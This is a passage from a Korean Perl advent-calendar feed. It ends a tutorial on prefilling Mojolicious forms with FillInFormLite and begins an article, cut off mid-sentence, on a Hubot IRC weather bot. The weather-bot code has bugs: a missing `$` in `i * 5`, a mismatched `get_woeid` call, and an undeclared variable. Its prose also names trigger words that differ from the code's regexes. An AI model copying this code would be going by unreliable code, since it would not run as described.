<p>이제 브라우저에서 페이지를 띄우면 다음과 같은 폼이 나옵니다.</p>
<p><img src="2015-12-22-1_r.png" alt="form-sample" id="form-sample" />
<em>그림 1.</em> 간단한 폼 샘플 (<a href="2015-12-22-1.png">원본</a>)</p>
<h2>폼에 값을 채워넣기(1) - 수작업</h2>
<p>저 폼을 띄우기 전에, 우리가 저 폼에 들어갈 데이터를
어떤 형식으로든 입수했다고 가정합시다.
파일에서 읽어왔을 수도 있고, 데이터베이스에서 가져왔을 수도 있습니다.</p>
<pre class="brush: perl;">
get '/' => sub {
my $c = shift;
# 다음과 같은 값을 얻었다
my $record = {
name => '홍길동',
phone => '010-1111-1111',
hobby => [ 'twiiter', 'comic', 'gundam' ],
language => 'latin',
};
# 저 값을 폼에 전달할 방법을 찾아야 한다
$c->render(template => 'index');
};
</pre>
<p><code>$record</code>에 들어있는 값을 폼에 미리 채워넣은 상태로 사용자에게 보여주고 싶습니다.</p>
<h3 id="stash">stash 를 사용한 단순한 방법</h3>
<p><a href="http://mojolicio.us/perldoc/Mojolicious/Guides/Tutorial#Stash-and-templates">Mojolicious 튜토리얼의 "Stash and templates"절</a>을
보니 컨트롤러에서 템플릿으로 데이터를 보낼 수 있습니다.
이걸 사용해 봅시다.</p>
<pre class="brush: perl;">
get '/' => sub {
my $c = shift;
# 다음과 같은 값을 얻었다
my $record = {
name => '홍길동',
phone => '010-1111-1111',
hobby => [ 'twiiter', 'comic', 'gundam' ],
language => 'latin',
};
# stash에 저장하여 템플릿 쪽에서 사용할 수 있게 한다
$c->stash(
name => $record->{name},
phone => $record->{phone},
hobby => $record->{hobby},
language => $record->{language},
);
$c->render(template => 'index');
};
</pre>
<p><code>stash</code>를 써서 <code>name</code>이라는 키와 값을 저장하면,
템플릿 쪽에서는 그 값을 <code>$name</code> 변수를 통하여 접근할 수 있습니다.</p>
<pre class="brush: xml;">
<label>이름:</label>
<input type="text" name="name" value="<%= $name %>" />
</pre>
<p><code>input</code> 태그에 <code>value</code> 속성을 추가하여 기본값을 채워넣었습니다.
전화번호 필드에도 마찬가지로 추가합니다.</p>
<pre class="brush: xml;">
<label>전화번호:</label>
<input type="text" name="phone" value="<%= $phone %>" />
</pre>
<p>사용 언어 필드의 경우는 라디오 버튼들로 구성되어 있습니다.
네 개의 버튼 중에 하나만 체크할 수 있고, <code>$language</code> 변수의 값과
<code>value</code> 속성의 값이 일치하는 버튼이 체크되어 있어야 할 것입니다.</p>
<pre class="brush: xml;">
<label>사용 언어</label>
<input type="radio" name="language" value="korean" <%= $language eq 'korean' ? "checked" : "" %> />한국어
<input type="radio" name="language" value="latin" <%= $language eq 'latin' ? "checked" : "" %> />라틴어
<input type="radio" name="language" value="esperanto" <%= $language eq 'esperanto' ? "checked" : "" %> />에스페란토
<input type="radio" name="language" value="alien" <%= $language eq 'alien' ? "checked" : "" %> />외계어
</pre>
<p>동일한 형식의 라인이 반복되니까 뭔가 낭비하는 것 같습니다.
템플릿 안에서 루프를 써서 줄여볼 수도 있겠습니다.</p>
<pre class="brush: xml;">
<label>사용 언어</label>
% for my $pair ( [ 'korean', '한국어' ], [ 'latin', '라틴어' ], [ 'esperanto', '에스페란토' ], [ 'alien', '외계어' ] ) {
<input type="radio" name="language" value="<%= $pair->[0] %>" <%= $language eq $pair->[0] ? "checked" : "" %> /><%= $pair->[1] %>
% }
</pre>
<p>취미 필드의 경우는 좀 더 복잡합니다.
<code>$hobby</code>에 저장된 값이 문자열이 아니라 배열 참조(reference)이기 때문입니다.
필드의 <code>value</code> 속성의 값이 그 배열 안에 들어있는 경우에만 체크해주어야 합니다.</p>
<pre class="brush: xml;">
<label>취미:</label>
<input type="checkbox" name="hobby" value="twiiter" <%= ( grep { $_ eq 'twiiter' } @{$hobby} ) ? "checked" : "" %> />트위터
<input type="checkbox" name="hobby" value="comic" <%= ( grep { $_ eq 'comic' } @{$hobby} ) ? "checked" : "" %> />만화
<input type="checkbox" name="hobby" value="ani" <%= ( grep { $_ eq 'ani' } @{$hobby} ) ? "checked" : "" %> />애니메이션
<input type="checkbox" name="hobby" value="gundam" <%= ( grep { $_ eq 'gundam' } @{$hobby} ) ? "checked" : "" %> />건담
</pre>
<p>여기까지 수정이 되었으면 이제 브라우저에서 확인해봅시다.</p>
<p><img src="2015-12-22-2_r.png" alt="fif-manual-1" id="fif-manual-1" />
<em>그림 2.</em> 값이 채워진 채로 표시된 폼 (<a href="2015-12-22-2.png">원본</a>)</p>
<p>폼이 우리가 원하는 형태로 미리 채워져 있는 것을 확인할 수 있습니다.</p>
<h3 id="stash">stash에 저장해야 할 변수가 너무 많아요</h3>
<p>지금은 폼의 필드가 네 개밖에 없으니까 변수도 네 개만 있으면 되었습니다.
하지만 필드가 십 수 가지라면? <code>$record</code>의 키가 매우 많다면?
일일이 변수를 만들어 할당하는 것은 힘든 일입니다.</p>
<p><code>stash</code>를 통해 해시를 그냥 넘겨줄 수도 있습니다.
사실 스칼라, 배열, 해시, 클래스 객체, 무엇이든 참조로 넘겨줄 수 있습니다.</p>
<pre class="brush: perl;">
$c->stash(
record => $record
);
</pre>
<p>템플릿에서는 그 참조(reference)를 받아서 펄에서 하듯이 역참조(dereference)하면 됩니다.</p>
<pre class="brush: xml;">
<input type="text" name="name" value="<%= $record->{name} %>" />
...
<input type="text" name="phone" value="<%= $record->{phone} %>" />
...
</pre>
<h2>폼에 값을 채워넣기(2) - 자동으로</h2>
<h3 id="letsfillinform">Let's Fill in Form!</h3>
<p>이렇게 폼에 넣을 값을 전달하기 위해 매번 <code>stash</code>에 값을 저장하고,
템플릿에서 그 저장된 값을 읽도록 하는 것은 매우 귀찮은 일입니다.
이것을 <a href="https://metacpan.org/pod/Mojolicious::Plugin::FillInFormLite">Mojolicious::Plugin::FillInFormLite 모듈</a>을
사용하여 처리해봅시다.</p>
<pre class="brush: perl;">
# 플러그인을 로드한다
plugin 'FillInFormLite';
get '/' => sub {
my $c = shift;
my $record = {
name => '홍길동',
...
};
# 컨트롤러에 render_fillinform이라는 helper 메소드가 생겼다
$c->render_fillinform(
$record, # 첫 번째 인자는 폼을 채울 해시 데이터
template => 'index', # render()에 넘겨주던 인자는 그 뒤에 그대로 적는다
);
};
</pre>
<p>템플릿 쪽은, 아무런 처리를 할 필요가 없습니다.
제일 처음 작성한 상태로 두면 됩니다.</p>
<pre class="brush: xml;">
<input type="text" name="name" />
...
<input type="text" name="phone" />
...
</pre>
<p>브라우저에서 확인해보면, 수작업으로 값을 채워넣었을 때와 완전히 동일하게 동작합니다.
<code>$record</code> 익명 해시의 내용을 수정해가며 확인해보세요.</p>
<h3>사용자가 입력한 값을 보존하기</h3>
<p>"시작하기" 절에서 언급했던 상황을 구현해봅시다.
먼저 사용자에게 입력을 받습니다.
입력한 내용이 특정한 조건을 만족시킨다면 다음 단계로 진행하고,
그렇지 않다면 재입력을 요구합니다.
그런데 재입력을 요구할 때 텅 빈 폼을 다시 채우라고 하면 사용자는 짜증이 나겠지요.
그러니 사용자가 방금 입력했던 내용을 일단 폼에 고스란히 채워넣은 상태로 보여주면 좋겠습니다.</p>
<p>첫 화면은 원래대로 빈 폼을 보여주도록 합시다.</p>
<pre class="brush: perl;">
get '/' => sub {
my $c = shift;
$c->render( template => 'index' );
};
</pre>
<p>사용자가 제출 버튼을 눌렀을 때 응답할 라우트 핸들러를 만들어줍니다.</p>
<pre class="brush: perl;">
post '/formtest' => sub {
my $c = shift;
# 이름 필드가 '오덕'이고
# 사용 언어가 '외계어'인 경우에만
# 다음 단계로 통과
if ( $c->param('name') eq '오덕' and $c->param('language') eq 'alien' ) {
return $c->render( text => 'May the Force be with you.' );
}
# 그렇지 않다면 폼을 다시 보여줌
$c->render_fillinform(
# 첫 번째 인자는 폼을 채울 값들이 담긴 해시
$c->req->params->to_hash,
# 여기서부터는 render()에 전달될 인자들
template => 'index', # 첫 화면에 썼던 index.html.ep 템플릿을 재사용
msg => "I don't know who you are.", # 추가로 stash에 저장
);
};
</pre>
<p>사용자가 입력한 값을 컨트롤러에서 받는 법은
<a href="http://mojolicio.us/perldoc/Mojolicious/Guides/Tutorial">Mojolicious 튜토리얼</a>의 "GET/POST parameters" 절에서
볼 수도 있고. 몇 가지 방법에 대해서는
<a href="http://advent.perl.kr/2015/2015-12-18.html">열여덟번째 날: Mojolicious - 폼 파라메터와 파일 업로드 처리</a>에서도 다루고 있으니 참고하세요.</p>
<p>위 코드의 컨트롤러는 입력받은 값 중 <code>name</code> 필드와 <code>language</code> 필드의 값을 검사합니다.
이 값들이 조건에 맞으면, 짧은 텍스트를 브라우저로 출력해 주고 끝이 납니다.
이보다 더 복잡한 동작을 할 수도 있을 것이고, <code>$c->redirect_to()</code>를 써서
미리 만들어둔 다른 URL로 이동할 수도 있을 것입니다.
값이 조건에 맞지 않는다면 첫 화면에서 보여주었던 폼을 다시 출력합니다.
이 때 폼에 채울 내용은 브라우저에서 전송된 요청으로부터 뽑아냅니다.
이에 대해서도 <a href="http://advent.perl.kr/2015/2015-12-18.html">열여덟번째 날 기사</a>에서 같이 다루고 있습니다.</p>
<p>그런데 사용자 입장에서는, 결과적으로 "제출" 버튼을 눌렀는데 제출하기 전에
작성하던 폼 화면을 그대로 다시 보게 될 것입니다. 이러면 어리둥절하겠지요.
따라서 간단한 메시지를 뿌려주면 좋을 것 같습니다.
이 메시지를 <code>msg</code>라는 키를 써서(키 이름은 임의로 지어도 됩니다) <code>stash</code>에 저장합니다.
이렇게 저장된 <code>msg</code>를 템플릿에서 읽어야 합니다.
템플릿은 제일 처음 작성한 상태에서 다음 부분만 추가해 줍니다.</p>
<pre class="brush: xml;">
...
% title 'Welcome';
% if ( stash('msg') ) {
<span style="color: red"><%= stash('msg') %></span>
% }
<h1>간단한 폼</h1>
...
</pre>
<p>이 템플릿에서는 <code>stash</code>에 저장된 <code>msg</code> 값을 읽기 위해 <code>$msg</code>라는 변수를 사용하지 않았습니다.
오히려 이 때는 <strong>사용하면 안 됩니다</strong>.
왜냐하면 첫 화면으로 들어와서 <code>'/'</code> 주소에 연결된 핸들러를 거쳐 출력될 경우는 <code>msg</code> 키가
<code>stash</code>에 저장되지 않기 때문에, 템플릿을 처리할 때 <code>$msg</code> 변수가 존재하지 않는다고 에러가 납니다.
따라서 이렇게 특정한 키가 있을지 없을지 알 수 없는 경우라면 <code>stash()</code> 헬퍼를 직접 써야 합니다.</p>
<p>매번 <code>stash('msg')</code>라고 적어주는 게 귀찮다면 템플릿 안에서 변수를 선언해서 쓸 수는 있습니다.</p>
<pre class="brush: xml;">
% if ( my $m = stash('msg') ) {
<span style="color: red"><%= $m %></span>
% }
</pre>
<p>이제 실행 결과를 살펴봅시다.</p>
<p>첫 화면은 <em>그림 1</em>과 같은 비어있는 폼입니다.
이 폼을 적당히 채워넣고 제출 버튼을 누르면 다음과 같이 메시지가 뜨면서 재입력을 요구합니다.
만일 FillInForm을 쓰지 않았다면 이 시점에서 폼의 모든 필드가 텅 빈 채로 나왔을 테고,
사용자는 한숨을 쉰 후 창을 닫아버릴 것입니다.</p>
<p><img src="2015-12-22-3_r.png" alt="fif-auto-1" id="fif-auto-1" />
<em>그림 3.</em> 어디서 들은 말 같다면 기분 탓입니다. (<a href="2015-12-22-3.png">원본</a>)</p>
<p>이름과 언어를 제대로 입력했다면, 다음과 같이 화면이 바뀝니다.</p>
<p><img src="2015-12-22-4_r.png" alt="fif-auto-2" id="fif-auto-2" />
<em>그림 4.</em> 축복받았습니다. (<a href="2015-12-22-4.png">원본</a>)</p>
<h3>주의 사항</h3>
<p>여기서 사용하고 있는 <a href="https://metacpan.org/pod/Mojolicious::Plugin::FillInFormLite">Mojolicious::Plugin::FillInFormLite 모듈</a>은
내부적으로 <a href="https://metacpan.org/pod/HTML::FillInForm::Lite">HTML::FillInForm::Lite 모듈</a>을 사용하여 폼을 채워넣습니다.
<code>HTML::FillInForm::Lite</code> 모듈은 폼을 채울 데이터를 전달받을 때 지금처럼 해시 참조를
받거나, <code>param()</code> 메소드를 제공하는 객체를 받을 수 있습니다.
폼의 <code>name</code> 필드를 채울 값을 얻기 위해 <code>$hash->{'name'}</code> 또는 <code>$obj->param('name')</code>을 호출하는 식입니다.
따라서 <code>render_fillinform</code> 메소드를 호출할 때 굳이 해시가 아니라 브라우저의 요청 데이터에
들어 있는 <a href="http://mojolicio.us/perldoc/Mojo/Parameters">Mojo::Parameters 클래스</a>의 객체를
전달할 수도 있습니다.</p>
<pre class="brush: perl;">
$c->render_fillinform( $c->req->params ); # 뒤에 ->to_hash 없이
</pre>
<p>문제는, 체크박스의 경우는 <code>param()</code> 메소드로 값을 검사하면
체크된 값들 중 가장 마지막 값만 반환한다는 점입니다.
앞에 있는 예제 소스를 위와 같이 고치고 직접 해보시면 확인할 수 있습니다.
그러니 여기서는 <code>to_hash()</code> 메소드까지 호출하여 폼에서 들어온
값들을 해시 형태로 바꾼 후에 넘겨주는 것이 좋습니다.
이렇게 하면 여러 개의 체크박스가 체크되었을 때도 제대로 폼에 반영이 됩니다.
(여러 개의 값이 체크될 수 있는 상황이라면 <code>param()</code>이 아니라
<code>every_param()</code> 메소드를 써서 검사해야 합니다.
이에 관해서도 <a href="http://advent.perl.kr/2015/2015-12-18.html">열여덟번째 날 기사</a>에서 다루고 있으니 참고하세요.)</p>
<h2>전체 코드</h2>
<p>전체 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
# Documentation browser under "/perldoc"
plugin 'PODRenderer';
plugin 'FillInFormLite';
get '/' => sub {
my $c = shift;
$c->render( template => 'index' );
};
post '/formtest' => sub {
my $c = shift;
if ( $c->param('name') eq '오덕' and $c->param('language') eq 'alien' ) {
return $c->render( text => 'May the Force be with you.' );
}
$c->render_fillinform(
$c->req->params->to_hash,
template => 'index',
msg => "I don't know who you are.",
);
};
app->start;
__DATA__
@@ index.html.ep
% layout 'default';
% title 'Welcome';
% if ( stash('msg') ) {
<span style="color: red"><%= stash('msg') %></span>
% }
<h1>간단한 폼</h1>
<form action="/formtest" method="POST" enctype="multipart/form-data">
<p>
<label>이름:</label>
<input type="text" name="name" />
</p>
<p>
<label>전화번호:</label>
<input type="text" name="phone" />
</p>
<p>
<label>취미:</label>
<input type="checkbox" name="hobby" value="twiiter" />트위터
<input type="checkbox" name="hobby" value="comic" />만화
<input type="checkbox" name="hobby" value="ani" />애니메이션
<input type="checkbox" name="hobby" value="gundam" />건담
</p>
<p>
<label>사용 언어:</label>
<input type="radio" name="language" value="korean" />한국어
<input type="radio" name="language" value="latin" />라틴어
<input type="radio" name="language" value="esperanto" />에스페란토
<input type="radio" name="language" value="alien" />외계어
</p>
<p>
<input type="submit" />
</p>
</form>
@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body><%= content %></body>
</html>
</pre>
<h2>정리하며</h2>
<p><a href="http://mojolicio.us/">Mojolicious</a>를 쓰면서 웹 응용을 만들기 시작하면
항상 다루는 것이 폼을 이용한 입력 및 처리입니다.
폼의 입력 필드를 채우는 일은 Perl과 Mojolicious의 기본 사용 방법만
숙지한다면 얼마든지 직접 처리할 수 있는 일이지만
CPAN의 훌륭한 모듈의 도움을 받는다면 정말 손쉽고 빠르게 처리할 수 있죠.
소스 코드가 간결해지고, 실수할 가능성이 줄어드는 것은 덤이겠죠?
게으름은 흘륭한 펄 프로그래머의 미덕이란 것 잊지 마세요. ;-)</p>
<blockquote>
<p>There are three great virtues of a programmer;</p>
<p>Laziness, Impatience and Hubris. - Larry Wall</p>
</blockquote>
<h2>참고</h2>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious::Plugin::FillInFormLite">Mojolicious::Plugin::FillInFormLite 모듈 문서</a></li>
<li><a href="https://metacpan.org/pod/HTML::FillInForm::Lite">HTML::FillInForm::Lite 모듈 문서</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojolicious/Guides/Tutorial">Mojolicious 튜토리얼</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojolicious/Parameters">Mojolicious::Parameters 문서</a></li>
</ul>
2015-12-22T00:00:00+09:00gyparkp5-hubot - 날씨봇 만들기http://advent.perl.kr/2015/2015-12-21.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/newbcode">@newbcode</a> - 사랑스런 딸바보 도치파파</p>
<h2>시작하며</h2>
<p><a href="https://hubot.github.com/">휴봇(HUBOT)</a>이라고 들어보셨나요?
휴봇은 <a href="https://github.com/">GitHub</a>에서 만든 채팅 봇으로 처음에는 사내용으로 만들어졌지만,
많은 발전을 거듭하며 현재는 오픈 소스로 공개되어 있습니다.
GitHub에서는 그룹 채팅시 휴봇에게 "github xx부서의 핵심 업무를 알려줘."라고
물어보면 휴봇이 그에 대해 상세한 답변을 하는 식입니다.
더 나아가 구글 번역이라던가, 지도와의 통합, 프로젝트의 배포등의 일까지도 휴봇에게 지시할 수 있습니다.
휴봇은 <a href="https://nodejs.org/en/">Node.js</a> 기반에 <a href="http://coffeescript.org/">CoffeeScript</a>로 개발되었지만
<a href="https://metacpan.org/pod/Hubot">@aaonaa님께서 Perl로 포팅</a>하셨기 때문에 Perl로도 휴봇을 이리저리 만질 수 있답니다.
<a href="https://metacpan.org/pod/Hubot">p5-hubot</a>의 자세한 설명은 <a href="http://advent.perl.kr/2012/2012-12-02.html">2012년도 크리스마스 캘린더</a>를 참고하세요.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Hubot">CPAN의 Hubot 모듈</a></li>
<li><a href="https://metacpan.org/pod/LWP::UserAgent">CPAN의 LWP::UserAgent 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Hubot \
LWP::UserAgent
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Hubot \
LWP::UserAgent
</pre>
<h2>날씨 알림 봇</h2>
<p><a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>에서 놀다보면 여러가지 정보를 확인하고 싶은 경우가 많은데요.
제 경우 날씨가 제일 궁금하더군요. (저만 그런가요? :)
IRC에서 날씨를 확인할 수 있는 봇을 만들어 보면서 휴봇에 대해서 좀 더 알아보죠.
날씨 정보는 보통 <a href="http://www.kma.go.kr/">기상청</a>이나 <a href="https://developer.yahoo.com/weather/">Yahoo API</a>를 이용해서 가져올수도 있겠죠?
백마디 말보다 코드를 보는 편이 이해가 빠르겠죠?
우선 완성된 코드를 먼저 보면서 하나씩 맥을 짚어보죠.</p>
<pre class="brush: perl;">
package Hubot::Scripts::weather;
# ABSTRACT: Weather Script for Hubot.
use utf8;
use strict;
use warnings;
use LWP::UserAgent;
sub load {
my ( $class, $robot ) = @_;
$robot->hear( qr/^week (.+)/i, \&weather_week );
$robot->hear( qr/^(?:today |@)(.+)/i, \&weather_today );
}
sub weather_week {
my $msg = shift;
my $user_country = $msg->match->[0];
my $woeid = get_woeid( $msg, $user_country );
unless ($woeid) {
$msg->send("The name of the country or the city name wrong.");
return;
}
my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://weather.yahooapis.com/forecastrss?w=$woeid&u=c");
unless ( $res->is_success ) {
$msg->send( "cannot get weather info: " . $res->status_line );
}
my @result;
my $content = $res->decoded_content;
@result = $content =~ m{<yweather:forecast day="(.*?)" date="(.*?)" low="(.*?)" high="(.*?)" text="(.*?)" code="\d+" />}gsm;
for ( my $i = 0; $i < 5; ++$i ) {
my $idx = i * 5;
$msg->send(
sprintf(
'[%s %s] Low/High[%s℃ /%s℃ ] Condition[%s]',
$result[$idx],
$result[ $idx + 1 ],
$result[ $idx + 2 ],
$result[ $idx + 3 ],
$result[ $idx + 4 ],
)
);
}
}
sub weather_today {
my $msg = shift;
my $user_country = $msg->match->[0];
my $woeid = get_woeid( $msg, $user_country );
unless ($woeid) {
$msg->send("The name of the country or the city name wrong.");
return;
}
my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://weather.yahooapis.com/forecastrss?w=$woeid&u=c");
unless ( $res->is_success ) {
$msg->send( "cannot get weather info: " . $res->status_line );
}
my $content = $res->decoded_content;
my ( $condition, $temp, $date )
= ( $content
=~ m{<yweather:condition text="(.*?)" code="\d+" temp="(.*?)" date="(.*?)" />}gsm
);
my ( $city, $country )
= ( $content
=~ m{<yweather:location city="(.*?)" .*? country="(.*?)"/>}gsm
);
my ( $chill, $direction, $speed )
= ( $content
=~ m{<yweather:wind chill="(.+)" direction="(.+)" speed="(.*?)" />}gsm
);
my ( $humidty, $visibility, $pressure, $rising )
= ( $content
=~ m{<yweather:atmosphere humidity="(.+)" visibility="(.*?)" pressure="(.*?)" rising="(.*?)" />}gsm
);
my ( $sunrise, $sunset )
= ( $content
=~ m{<yweather:astronomy sunrise="(.*?)" sunset="(.*?)"/>}gsm
);
$msg->send(
sprintf(
'%s - %s[ LastTime:%s ]',
$country,
$city,
$date,
)
);
$msg->send(
sprintf(
'[%s] temp-[%s℃ ] humidity-[%s%%] direction-[%skm] speed-[%skm/h] sunrise/sunset-[%s/%s]',
$condition,
$temp,
$humidty,
$direction,
$speed,
$sunrise,
$sunset,
)
);
}
sub get_woeid {
my $country = shift;
my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://woeid.rosselliot.co.nz/lookup/$country");
die $res->status_line unless $res->is_success;
my $content = $res->decoded_content;
my @woeid = $content =~ m{data-woeid="(\d+)"}gsm;
my @countries = $content =~ m{data-woeid="\d+"><td>.*?</td><td>.*?</td><td>(.*?)</td>}gsm;
return if !$countries[0] && !$countries[1] && !@woeid;
return unless $woeid =~ /^\d+/;
return $woeid[0];
}
1;
</pre>
<h2>사람들의 이야기를 듣기</h2>
<p>휴봇을 동작시키려면 발동 조건을 지정해야 합니다.
<code>load()</code> 함수 내에서 <code>hear()</code> 메소드를 이용해
대화중 어떤 메시지가 나왔을때 어떤 함수를 호출할 지를 지정할 수 있습니다.</p>
<pre class="brush: perl;">
sub load {
my ( $class, $robot ) = @_;
$robot->hear( qr/^week (.+)/i, \&weather_week );
$robot->hear( qr/^(?:today |@)(.+)/i, \&weather_today );
}
</pre>
<p><code>forecast</code>라는 단어가 발생시 <code>weather_week()</code> 함수를,
<code>weather</code>라는 단어가 발생시 <code>weather_today()</code> 함수를 실행하는 식입니다.</p>
<h2>주간 예보</h2>
<p>주간 예보는 <code>weather_week()</code> 함수가 처리합니다.
매개변수 처리 부분을 먼저 살펴보죠.</p>
<pre class="brush: perl;">
sub weather_week {
my $msg = shift;
my $user_country = $msg->match->[0];
</pre>
<p>사용자가 <code>week 분당</code>이라고 입력하면, <code>$msg</code> 변수는 다음과 같은 형식을 가집니다.</p>
<pre class="brush: perl;">
Hubot::Response {
Parents Moose::Object
public methods (14) : DESTROY, exist, finish, http, match, message, meta, new, random, reply, robot, send, topic, whisper
private methods (0)
internals: {
match [
[0] "분당"
],
message Hubot::TextMessage,
robot Hubot::Robot
}
}
</pre>
<p>즉 사용자가 입력한 위치 정보는 <code>$msg->match->[0]</code> 코드로 얻을 수 있습니다.
이 문자열을 그대로 이용해 날씨를 검색할 수는 없으므로
<a href="https://developer.yahoo.com/geo/geoplanet/guide/concepts.html">WOEID(Where On Earth Identifiers)</a> 값으로 변환해야 합니다.</p>
<pre class="brush: perl;">
my $woeid = get_woeid( $msg, $user_country );
unless ($woeid) {
$msg->send("The name of the country or the city name wrong.");
return;
}
</pre>
<p>WOEID는 내부에 추가로 생성한 <code>get_woeid()</code> 함수를 이용합니다.
WOEID 값을 성공적으로 확보했다면 야후 날씨 API를 이용해서
기상 정보를 얻어와야겠죠.</p>
<pre class="brush: perl;">
my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://weather.yahooapis.com/forecastrss?w=$woeid&u=c");
unless ( $res->is_success ) {
$msg->send( "cannot get weather info: " . $res->status_line );
}
my @result;
my $content = $res->decoded_content;
@result = $content =~ m{<yweather:forecast day="(.*?)" date="(.*?)" low="(.*?)" high="(.*?)" text="(.*?)" code="\d+" />}gsm;
</pre>
<p>웹을 통해 HTTP 요청을 보내고, 그 결과를 정규표현식을 이용해서 적절하게
값을 추출하는 것 말고는 특별할 것이 없는 코드입니다.
이후 추출한 값을 가공해서 날씨 정보를 요청한 사용자에게 결과를 보여줘야겠죠.
이때는 <code>$msg->send()</code> 메소드를 이용합니다.</p>
<pre class="brush: perl;">
for ( my $i = 0; $i < 5; ++$i ) {
my $idx = i * 5;
$msg->send(
sprintf(
'[%s %s] Low/High[%s℃ /%s℃ ] Condition[%s]',
$result[$idx],
$result[ $idx + 1 ],
$result[ $idx + 2 ],
$result[ $idx + 3 ],
$result[ $idx + 4 ],
)
);
}
</pre>
<h2 id="woeid">WOEID 값 얻기</h2>
<p>야후에서 사용할 수 있는 WOEID 값을 쉽게 얻을 수 있도록 웹 서비스를 제공하는
<a href="http://woeid.rosselliot.co.nz/lookup">Yahoo WOEID Lookup</a> 사이트가 있습니다.
우리는 이 서비스를 이용해서 원하는 WOEID 값을 얻도록 하죠.</p>
<pre class="brush: perl;">
sub get_woeid {
my $country = shift;
my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://woeid.rosselliot.co.nz/lookup/$country");
die $res->status_line unless $res->is_success;
my $content = $res->decoded_content;
my @woeid = $content =~ m{data-woeid="(\d+)"}gsm;
my @countries = $content =~ m{data-woeid="\d+"><td>.*?</td><td>.*?</td><td>(.*?)</td>}gsm;
return if !$countries[0] && !$countries[1] && !@woeid;
return unless $woeid =~ /^\d+/;
return $woeid[0];
}
</pre>
<h2>당일 예보</h2>
<p>주간 예보와 비슷하게 당일 예보는 <code>weather_today()</code> 함수에서 처리합니다.
상대적으로 조금 복잡해 보이지만 정규표현식으로 원하는 값을
추출하는 부분을 제외하면 대동소이합니다. :)</p>
<pre class="brush: perl;">
my ( $condition, $temp, $date )
= ( $content
=~ m{<yweather:condition text="(.*?)" code="\d+" temp="(.*?)" date="(.*?)" />}gsm
);
my ( $city, $country )
= ( $content
=~ m{<yweather:location city="(.*?)" .*? country="(.*?)"/>}gsm
);
my ( $chill, $direction, $speed )
= ( $content
=~ m{<yweather:wind chill="(.+)" direction="(.+)" speed="(.*?)" />}gsm
);
my ( $humidty, $visibility, $pressure, $rising )
= ( $content
=~ m{<yweather:atmosphere humidity="(.+)" visibility="(.*?)" pressure="(.*?)" rising="(.*?)" />}gsm
);
my ( $sunrise, $sunset )
= ( $content
=~ m{<yweather:astronomy sunrise="(.*?)" sunset="(.*?)"/>}gsm
);
</pre>
<h2>실행!</h2>
<p>실제 만든 휴봇 동작은 다음과 같습니다.
분당의 주간 예보를 살펴볼까요?</p>
<pre class="brush: plain;">
hubot> week 분당
[Mon 14 Dec 2015] Low/High[4℃ /8℃ ] Condition[Light Rain]
[Tue 15 Dec 2015] Low/High[0℃ /8℃ ] Condition[Mostly Cloudy]
[Wed 16 Dec 2015] Low/High[-5℃ /2℃ ] Condition[AM Snow Showers]
[Thu 17 Dec 2015] Low/High[-4℃ /1℃ ] Condition[Sunny]
[Fri 18 Dec 2015] Low/High[-3℃ /5℃ ] Condition[Partly Cloudy]
</pre>
<p>이번에는 서울의 당일 예보를 살펴보죠.</p>
<pre class="brush: plain;">
hubot> today 서울
South Korea - Seoul[ LastTime:Mon, 14 Dec 2015 3:58 pm KST ]
The status of current weather-[Light Rain] temp-[5℃ ] humidity-[81%] direction- [350km] speed-[9.66km/h] sunrise/sunset-[7:39 am/5:15 pm]
hubot> @서울
South Korea - Seoul[ LastTime:Mon, 14 Dec 2015 3:58 pm KST ]
The status of current weather-[Light Rain] temp-[5℃ ] humidity-[81%] direction- [350km] speed-[9.66km/h] sunrise/sunset-[7:39 am/5:15 pm]
</pre>
<p>정규표현식을 이용해 <code>@</code>를 이용한 단축 표현도 지원하고 있기 때문에
<code>@서울</code>이라고 입력해도 결과가 출력됨을 확인할 수 있습니다.</p>
<pre class="brush: perl;">
$robot->hear( qr/^(?:today |@)(.+)/i, \&weather_today );
</pre>
<p>세계 각국의 날씨도 살펴볼까요?</p>
<pre class="brush: plain;">
hubot> @델리
India - Delhi[ LastTime:Mon, 14 Dec 2015 11:29 am IST ]
The status of current weather-[Haze] temp-[18℃ ] humidity-[50%] direction- [290km] speed-[14.48km/h] sunrise/sunset-[7:05 am/5:26 pm]
hubot> @워싱턴
United States - Washington[ LastTime:Mon, 14 Dec 2015 1:51 am EST ]
The status of current weather-[Fair] temp-[14℃ ] humidity-[89%] direction- [210km] speed-[8.05km/h] sunrise/sunset-[7:18 am/4:45 pm]
</pre>
<p>잘 동작하는군요!</p>
<h2>크리스마스 숙제</h2>
<p>IRC에 입장하는 사람들이 접속한 동네의 날씨를 자동으로 보여주면 어떨까요?
누군가가 IRC에 입장하면 보통 서버는 다음과 같은 메시지를 출력합니다.</p>
<pre class="brush: plain;">
14:31:42 --> | John_Kang (~John_Kang@14.32.68.193) has joined #perl-kr
</pre>
<p>조금 더 귀띔해드리자면 <a href="http://www.ip2location.com/">IP2LOCATION</a>처럼 아이피 주소를 이용해
해당 사용자가 위치할 것으로 추정되는 지역(정확하진 않지만)을 구하는
서비스를 이용해보세요.</p>
<p>조금 감이 잡히나요? :)</p>
<h2>정리하며</h2>
<p>날씨라는 일반적인 주제로 시작했지만 여러분만의 봇을 만드는 것도 전혀 어렵지 않겠죠?
이제 여러분만의 IRC 봇을 만들어서 재미있는 동작을 수행한다거나,
